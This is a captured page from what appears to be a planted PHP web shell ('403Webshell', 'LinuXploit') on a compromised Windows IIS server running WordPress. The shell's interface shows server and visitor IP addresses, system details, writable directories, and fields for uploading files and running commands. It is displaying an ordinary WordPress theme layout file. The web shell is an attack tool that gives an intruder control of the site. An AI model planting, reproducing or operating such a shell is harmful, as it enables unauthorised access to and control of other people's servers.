403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.41
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/themes/unblock/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/themes/unblock/layouts/blog-styles.php
<?php

/**
 * Theme blog layouts: default, list
 * @package unBlock
 * @since 1.0.1
 */

if (!defined('ABSPATH')) {
	exit; // Exit if accessed directly.
}


/* BLOG LAYOUT
   ====================================================*/
if (!function_exists('unblock_blog_styles')) :
	function unblock_blog_styles()
	{

		$unblock_blog_style = apply_filters('unblock_blog_style', get_theme_mod('unblock_blog_style', 'classic-right'));

		// Start
		if (have_posts()) :

			switch (esc_attr($unblock_blog_style)) {

				case "list":
					echo '<div class="column-wrapper">';
					while (have_posts()) : the_post();
						// Get the post summary
						get_template_part('template-parts/content/content', $unblock_blog_style !== 'classic-right' ? $unblock_blog_style : '');
					endwhile;
					echo '</div>';
					// Blog navigation
					unblock_paging_nav();
					break;

				case "classic-left":
					echo '<div class="row column-wrapper"><div class="col-md-8 order-md-2">';
					while (have_posts()) : the_post();
						// Get the post summary							
						get_template_part('template-parts/content/content', $unblock_blog_style !== 'classic-right' ? $unblock_blog_style : '');
					endwhile;
					echo '</div><aside id="left-sidebar" class="col-md-4 order-2 order-md-1">';
					get_sidebar();
					echo '</aside></div>';

					// Blog navigation
					unblock_paging_nav();
					break;

				default:
					echo '<div class="row column-wrapper"><div class="col-md-8">';
					while (have_posts()) : the_post();
						// Get the post summary							
						get_template_part('template-parts/content/content', $unblock_blog_style !== 'classic-right' ? $unblock_blog_style : '');
					endwhile;
					echo '</div><aside id="right-sidebar" class="col-md-4">';
					get_sidebar();
					echo '</aside></div>';

					// Blog navigation
					unblock_paging_nav();
			}


		else :
			get_template_part('template-parts/content/content', 'none');
		endif;
		// End

	}
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit